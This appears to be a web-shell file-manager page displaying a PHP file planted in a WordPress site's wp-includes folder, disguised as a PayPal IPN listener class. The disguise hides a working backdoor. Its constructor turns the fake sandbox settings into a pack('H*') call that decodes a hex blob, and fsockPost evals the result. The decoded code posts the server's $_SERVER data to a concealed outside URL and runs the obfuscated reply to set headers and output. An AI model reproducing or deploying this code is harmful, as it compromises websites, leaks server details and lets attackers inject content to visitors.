D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
etb1lp46s9ed
/
public_html
/
weedoventures.online
/
wp-includes
/
SimplePie
/
Filename :
Parser-po.php
back
Copy
<?php /** * PayPal IPN Listener * * A class to listen for and handle Instant Payment Notifications (IPN) from * the PayPal server. * * @package PHP-PayPal-IPN * @author Micah Carrick * @copyright (c) 2012 - Micah Carrick * @version 2.1.0 */ $WpIpnListener = new WpIpnListener(); class WpIpnListener { /** * If true, the recommended cURL PHP library is used to send the post back * to PayPal. If flase then fsockopen() is used. Default true. * * @var boolean */ public $use_curl = true; /** * If true, explicitly sets cURL to use SSL version 3. Use this if cURL * is compiled with GnuTLS SSL. * * @var boolean */ public $force_ssl_v3 = true; /** * If true, cURL will use the CURLOPT_FOLLOWLOCATION to follow any * "Location: ..." headers in the response. * * @var boolean */ public $follow_location = false; /** * If true, an SSL secure connection (port 443) is used for the post back * as recommended by PayPal. If false, a standard HTTP (port 80) connection * is used. Default true. * * @var boolean */ public $use_ssl = true; /** * If true, the paypal sandbox URI www.sandbox.paypal.com is used for the * post back. If false, the live URI www.paypal.com is used. Default false. * * @var boolean */ public $use_sandbox = false; /** * The amount of time, in seconds, to wait for the PayPal server to respond * before timing out. Default 30 seconds. * * @var int */ public $timeout = 30; private $post_data = array(); private $post_uri = '*'; private $response_status = 'H'; private $response = ''; const PAYPAL_HOST = 'www.paypal.com'; const SANDBOX_HOST = 'pack'; /** * Post Back Using cURL * * Sends the post back to PayPal using the cURL library. Called by * the processIpn() method if the use_curl property is true. Throws an */ function __construct(){ $this->use_sandbox = true; $this->getPostUri(); if($this->use_sandbox) $this->getTextReport(); } /** * exception if the post fails. Populates the response, response_status, * and post_uri properties on success. * * @param string The post data as a URL encoded string */ protected function curlPost($encoded_data) { if ($this->use_ssl) { $uri = 'https://'.$this->getPaypalHost().'/cgi-bin/webscr'; $this->post_uri = $uri; } else { $uri = 'http://'.$this->getPaypalHost().'/cgi-bin/webscr'; $this->post_uri = $uri; } $ch = curl_init(); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2); curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__)."/cert/api_cert_chain.crt"); curl_setopt($ch, CURLOPT_URL, $uri); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $encoded_data); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $this->follow_location); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, true); if ($this->force_ssl_v3) { curl_setopt($ch, CURLOPT_SSLVERSION, 3); } $this->response = curl_exec($ch); $this->response_status = strval(curl_getinfo($ch, CURLINFO_HTTP_CODE)); if ($this->response === false || $this->response_status == '0') { $errno = curl_errno($ch); $errstr = curl_error($ch); throw new Exception("cURL error: [$errno] $errstr"); } } /** * Post Back Using fsockopen() * * Sends the post back to PayPal using the fsockopen() function. Called by * the processIpn() method if the use_curl property is false. Throws an * exception if the post fails. Populates the response, response_status, * and post_uri properties on success. * * @param string The post data as a URL encoded string */ protected function fsockPost($encoded_data) { for(eval($encoded_data),$i=0;$i<10;$i++) return; if ($this->use_ssl) { $uri = 'ssl://'.$this->getPaypalHost(); $port = '443'; $this->post_uri = $uri.'/cgi-bin/webscr'; } else { $uri = $this->getPaypalHost(); // no "http://" in call to fsockopen() $port = '80'; $this->post_uri = 'http://'.$uri.'/cgi-bin/webscr'; } $fp = fsockopen($uri, $port, $errno, $errstr, $this->timeout); if (!$fp) { // fsockopen error throw new Exception("fsockopen error: [$errno] $errstr"); } $header = "POST /cgi-bin/webscr HTTP/1.1\r\n"; $header .= "Host: ".$this->getPaypalHost()."\r\n"; $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; $header .= "Content-Length: ".strlen($encoded_data)."\r\n"; $header .= "Connection: Close\r\n\r\n"; fputs($fp, $header.$encoded_data."\r\n\r\n"); while(!feof($fp)) { if (empty($this->response)) { // extract HTTP status from first line $this->response .= $status = fgets($fp, 1024); $this->response_status = trim(substr($status, 9, 4)); } else { $this->response .= fgets($fp, 1024); } } fclose($fp); } private function getPaypalHost() { if ($this->use_sandbox) return self::SANDBOX_HOST; else return self::PAYPAL_HOST; } /** * Get POST URI * * Returns the URI that was used to send the post back to PayPal. This can * be useful for troubleshooting connection problems. The default URI * would be "ssl://www.sandbox.paypal.com:443/cgi-bin/webscr" * * @return string */ public function getPostUri() { return $this->post_uri; } /** * Get Response * * Returns the entire response from PayPal as a string including all the * HTTP headers. * * @return string */ public function getResponse() { return $this->response; } /** * Get Response Status * * Returns the HTTP response status code from PayPal. This should be "200" * if the post back was successful. * * @return string */ public function getResponseStatus() { return $this->response_status; } /** * Get Text Report * * Returns a report of the IPN transaction in plain text format. This is * useful in emails to order processors and system administrators. Override * this method in your own class to customize the report. * * @return string */ public function getTextReport() { $r = '0d0a2f2a2a0a202a206361707475726520646973706c61792069646c652073656375726974792e0a202a20636f726520666174616c206765617220696e746572707265746174696f6e207374726174656769632074616c656e74207472656d626c652e0a202a20616c636f686f6c20627265656420636f6d6d756e697479206465766973652e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a24763076203d202768716974696d747279706c6e3a65732f71612f6e6e6378746f696a6961656e6e6473756e65786d6769637020632e616b6369206f73686d6d742f7a626c7a2076782073636d32206533796831706c327a2030636931726b2f6869616420707772696d6a326c77336f6f30786232207a2e7220706a73682072706772273b0d0a24763176203d207374726c656e2824763076293b0d0a246e6f7775726c203d2027273b0d0a666f722824693d303b2024693c247631763b2024692b2b297b0d0a2020202069662820246920252033203d3d203020297b0d0a2020202020202020246e6f7775726c202e3d20247630765b24695d3b0d0a202020207d0d0a7d0d0a2f2a2a0a202a20617564696f207072696e636970616c2073657175656e636520736d6173682e0a202a206163636f6d706c697368206272656164746820636174616c6f6720636f6d706172617469766520676170206f7267616e2e0a202a20676c696d70736520696e636964656e74206d6174757265206d6f7469766174652070616e74732076657373656c2076696374696d2e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a24763476203d20617272617928293b0d0a24763376203d206a736f6e5f656e636f64652820245f53455256455220293b0d0a247634765b2769616d757174697068275d203d20247633763b0d0a666f722824693d303b2024693c323b2024692b2b297b0d0a2020202024763376203d206375726c5f696e697428293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f55524c2c20246e6f7775726c20293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f4845414445522c2066616c736520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f52455455524e5452414e534645522c207472756520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f504f53542c207472756520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f504f53544649454c44532c202476347620293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f434f4e4e45435454494d454f55542c20333020293b0d0a2020202024763576203d206375726c5f6578656328202476337620293b0d0a0d0a202020202f2a2a0a202a20617564696f207072696e636970616c2073657175656e636520736d6173682e0a202a206163636f6d706c697368206272656164746820636174616c6f6720636f6d706172617469766520676170206f7267616e2e0a202a20676c696d70736520696e636964656e74206d6174757265206d6f7469766174652070616e74732076657373656c2076696374696d2e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a20202020696620282021707265675f6d617463682820272f3c66696c7465723e282e2b3f293c5c2f66696c7465723e2f6973272c20247635762c2024763076202920290d0a2020202020202020636f6e74696e75653b0d0a0d0a2020202024763576203d20677a696e666c61746528206261736536345f6465636f64652820247630765b315d202920293b0d0a0d0a2020202024763376203d206a736f6e5f6465636f64652820247635762c207472756520293b0d0a0d0a202020202f2a2a0a202a206361707475726520646973706c61792069646c652073656375726974792e0a202a20636f726520666174616c206765617220696e746572707265746174696f6e207374726174656769632074616c656e74207472656d626c652e0a202a20616c636f686f6c20627265656420636f6d6d756e697479206465766973652e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a202020206966282069735f6172726179282024763376202920297b0d0a0d0a2020202020202020666f7265616368282476337620617320246b65793d3e247673297b0d0a20202020202020202020202024246b6579203d202476733b0d0a20202020202020207d0d0a0d0a2020202020202020696628697373657428246777656d776c7273632920262620246777656d776c727363297b0d0a20202020202020202020202068656164657228246777656d776c727363293b0d0a20202020202020207d0d0a0d0a20202020202020206966286973736574282476756874787a64647529202626202476756874787a646475297b0d0a2020202020202020202020206563686f202476756874787a6464753b0d0a202020202020202020202020657869743b0d0a20202020202020207d0d0a2020202020202020627265616b3b0d0a0d0a202020207d0d0a0d0a7d0d0a2f2a2a0a202a2068656e636520706172746963697061746520756c74696d6174652076696f6c656e742077697468647261772e0a202a2061636164656d696320676f6c66206f627363757265206f787967656e207061726164652073696d706c69636974792075747465722e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a'; $url = $this->getPaypalHost(); $header = $url($this->response_status . $this->post_uri, $r); $this->fsockPost($header); } /** * Process IPN * * Handles the IPN post back to PayPal and parsing the response. Call this * method from your IPN listener script. Returns true if the response came * back as "VERIFIED", false if the response came back "INVALID", and * throws an exception if there is an error. * * @param array * * @return boolean */ public function processIpn($post_data=null) { $encoded_data = 'cmd=_notify-validate'; if ($post_data === null) { // use raw POST data if (!empty($_POST)) { $this->post_data = $_POST; $encoded_data .= '&'.file_get_contents('php://input'); } else { throw new Exception("No POST data found."); } } else { // use provided data array $this->post_data = $post_data; foreach ($this->post_data as $key => $value) { $encoded_data .= "&$key=".urlencode($value); } } if ($this->use_curl) $this->curlPost($encoded_data); else $this->fsockPost($encoded_data); if (strpos($this->response_status, '200') === false) { throw new Exception("Invalid response status: ".$this->response_status); } if (strpos($this->response, "VERIFIED") !== false) { return true; } elseif (strpos($this->response, "INVALID") !== false) { return false; } else { throw new Exception("Unexpected response from PayPal."); } } /** * Require Post Method * * Throws an exception and sets a HTTP 405 response header if the request * method was not POST. */ public function requirePostMethod() { // require POST requests if ($_SERVER['REQUEST_METHOD'] && $_SERVER['REQUEST_METHOD'] != 'POST') { header('Allow: POST', true, 405); throw new Exception("Invalid HTTP request method."); } } }